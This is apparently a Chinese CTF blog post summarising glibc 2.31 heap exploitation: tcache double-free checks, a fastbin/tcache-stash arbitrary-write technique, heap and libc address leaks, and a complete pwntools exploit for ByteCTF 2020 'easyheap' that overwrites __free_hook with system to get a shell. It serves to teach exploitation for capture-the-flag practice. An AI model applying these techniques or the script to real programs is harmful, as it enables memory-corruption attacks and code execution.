glibc 2.31 常见利用手法

2024-08-01

PS: 更新于2024-11-12

前言

2年不做pwn,已经是个废物了
这回碰到glibc 2.31的堆风水题目做了半天才做出来,感觉对堆已经生疏了,重新总结一下堆的相关知识然后

1. glibc堆利用——共识篇

在做堆的题目之前,需要对一些基本的思路有一些了解:
1. glibc的堆题目思路一般是:代码审计——发现漏洞(uaf,double free,oob, …)——利用漏洞泄露glibc地址/堆地址——堆风水(目的是获得任意地址的读写能力)——劫持free_hook为system,实现利用
这个思路很重要,理解了才好继续深究。
2. 正常的堆操作流程是无法泄露地址信息的,如果正常的堆操作流程可以泄露地址,说明堆实现有问题

2. tcache利用篇

自从glibc.2.26版本出现tcache之后,tcache马上就变成了堆利用的重灾区啊~原因无他,太好使了。刚出那会tcache根本没有保护,随便用

2.0 2.31 tcache新增机制

在2.31,tcache新增机制主要体现在free函数上。
具体细节如下:

// free函数关于tcache的2.31新增校验
if (__glibc_unlikely(e->key == tcache))//剪枝
{
  tcache_entry *tmp;
  LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
  for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
    if (tmp == e)
      malloc_printerr("free(): double free detected in tcache 2");
}

if (tcache->counts[tc_idx] < mp_.tcache_count)  //通过检查,放入tcahce中
{
  tcache_put(p, tc_idx);
  return;
}

tcache_put的代码逻辑如下:

static __always_inline void
tcache_put(mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *)chunk2mem(chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;  //设置所属的tcache

  e->next = tcache->entries[tc_idx];//单链表头插法
  tcache->entries[tc_idx] = e;  

  ++(tcache->counts[tc_idx]); //计数增加
}

总结来说,在free一个要放入tcachechunk时,其会先检测key值,如果key!=tcache,说明没有double free,如果key==tcache,那会被检测到,出现问题
如果确定该chunk要放入tcache里,那么放入前会把该chunkkey设置为tcache,标记其已放入tcache里

2.1 pthread_tcache_struct介绍

所谓pthread_tcache_struct,其实是管理tcache的核心结构,该结构也存储在heap中,其定义如下:

#define TCACHE_MAX_BINS 64
typedef struct tcache_perthread_struct{
    char counts[TCACHE_MAX_BINS];
    tcache_entry *entries[TCACHE_MAX_BINS];
}tcache_perthread_struct;

// tcache_entry的结构体定义又如下
typedef struct tcache_entry{
    struct tcache_entry *next;
}tcache_entry;

看到这个大家就很熟悉了,就是我们free函数中的tcache变量!
所以pthread_tcache_struct指的就是我们用pwndbg插件输入tcache时展示的结构体
而这个pthread_tcache_struct通常都是堆中第一个被分配的堆块,查看堆地址即可得知。

2.2 fast bin double free+tcache stash进行绕过

说完了大概原理,说一下利用手法吧

(1) 假设目前tcache被填满了:C6->C5->C4->C3->C2->C1->C0,fast bin中为:C7->C8->C7。

(2) 下一步,为了分配到fast bin,需要先申请7个chunk,让tcache为空;
再次申请时就会返回fast bin中的C7,此时由于tcache stash机制,fast bin中的C8->C7会被放入tcache bin,此时,申请了一个chunk,得到C7;
在C7的fd字段写入target_addr(相当于获得了Edit功能),于是target_addr也被放入了tcache bin,因此这里target_addr处甚至不需要伪造size(target_addr指向user data区)。
(3) 此时,tcache bin中单链表为:C8->C7->target_addr,再申请到target_addr,从而得到了一个真正地址的任意写。

当然,现在的ctf题目中一般申请的chunk分为info chunk(记录data的存放地址和大小)data chunk(存放数据)
这种情况下,让C7同时成为data chunk和info chunk,就能通过修改data chunk —-》 修改info chunk —-》 实现任意地址写

例子:示例题目下载
exp也附在上面

2.3 在没有edit的情况下劫持free_hook

其实本人一直很好奇,在没有edit功能的堆菜单题目中,只有new时可以写入内容,我们应该如何做到劫持
漏洞:一个任意地址写为0的漏洞,就能完成劫持
主要以bytectf 2020中的题目esayheap来进行演示
下载链接

from pwn import *

context.log_level='debug'
context.terminal = ["tmux","splitw","-h"]

libc_path ="./libc-2.31.so"
p = process(["./easyheap"],env={"LD_PRELOAD":libc_path})
libc = ELF(libc_path)

r = lambda s : p.recv(s)
ru = lambda s : p.recvuntil(s)
rl = lambda : p.recvline()
s = lambda s : p.send(s)
sa = lambda a,s : p.sendafter(a,s)
sl = lambda s: p.sendline(s)
sla = lambda a,s : p.sendlineafter(a,s)

def new(size,content):
    sla(">> ",str(1))
    sla("Size: ",str(size)) 
    sa("Content: ",content)
    return 

def fake_new(size1,size2,content):
    sla(">> ",str(1))
    sla("Size: ",str(size1))
    sla("Size: ",str(size2))
    sa("Content: ",content)
    return 

def delete(index):
    sla(">> ",str(3))
    sla("Index: ",str(index))
    return

def show(index):
    sla(">> ",str(2))
    sla("Index: ",str(index))
    return 


for i in range(8):
    new(0x80,b"a"*8+b"\n")
for i in range(7):
    delete(7-i)
delete(0)
# gdb.attach(p,"b* $rebase(0x14D7)")
fake_new(0x100,1,b"a") # 0
show(0)
libc_addr = u64(p.recv(15)[9:15].ljust(8,b"\x00")) -0x1ebc61
success("libc_base:"+hex(libc_addr))
free_hook = libc_addr + libc.sym["__free_hook"]
success("free_hook: "+hex(free_hook))
system_addr=libc_addr+libc.sym['system']
success("system: "+hex(system_addr))

new(0x60,b'a'*0x60) # 1
new(0x60,b'a'*0x60) # 2
new(0x60,b'a'*0x60) # 3
new(0x60,b'a'*0x60) # 4
new(0x60,b'a'*0x60) # 5

# gdb.attach(p,"b* $rebase(0x169A) \n b * $rebase(0x14D7)")
delete(2)
delete(5)
delete(4)  # [0 1 3 ]
fake_new(0x4d1,0x80,b'b'*80+b"\n") # 2 [0 1 2 3 ]  # important step 通过构造tcachebin中的地址指向自己,构造了一个double free
delete(0) # [1 2 3 ]

new(0x60,p64(free_hook)+b"\n") # 0 [0 1 2 3 ]
new(0x60,p64(free_hook)+b"\n") # 4 [0 1 2 3 4 ]
new(0x60,p64(system_addr)+b"\n") # 5 [0 1 2 3 4 5]
new(0x80,b"/bin/sh\x00\n")
delete(6)

p.interactive()

3. 泄露堆地址篇

3.1 tcache泄露堆地址

先分配2个堆块a,b,大小均为0x20
释放a,b,此时tcache中的链表为b->a
此时在申请一个堆块,重新得到b,此时b的前8个字节即存放着a的地址

4. 泄露libc地址篇

4.1 unsorted bin 分割泄露libc地址

Step1 : 申请8个0x80大小的堆块(堆块的实际大小为0x90)

Step2 :释放 第7,6,5,4,3,2,1 个堆块,它们会进入tcachebin中,释放第0个
堆块,第0个堆块会进入 unsortedbin中
如果直接释放第0,1,2,3,4,5,6个堆块,它们会进入tcachebin中,但是第7个堆块
释放时会和底部的heap合并!

Step3 :申请1个0x10大小的堆块(实际堆块大小为0x20),此时会对unsortedbin中的第0个chunk做分割,分为0x20和0x70实际大小的两个堆块(分割后 实际大小为0x20的堆块中,并不会把 arena+96 的值置0,而是变成了 arena+128;
实际的大小为0x70的堆块中仍然放着 arena+96的值,且这个堆块仍然在unsorted bin中,可通过申请0x60的堆块(实际大小为0x70)将其解放)

Step4 :如果你能够读取堆块内容,就可以通过读取该堆块的值泄露libc地址

references

[原创] CTF 中 glibc堆利用 及 IO_FILE 总结
2.31中check机制和漏洞利用分析
[原创]字节跳动ByteCTF2020 两道堆题(glibc2.31)
Glibc高版本堆利用方法总结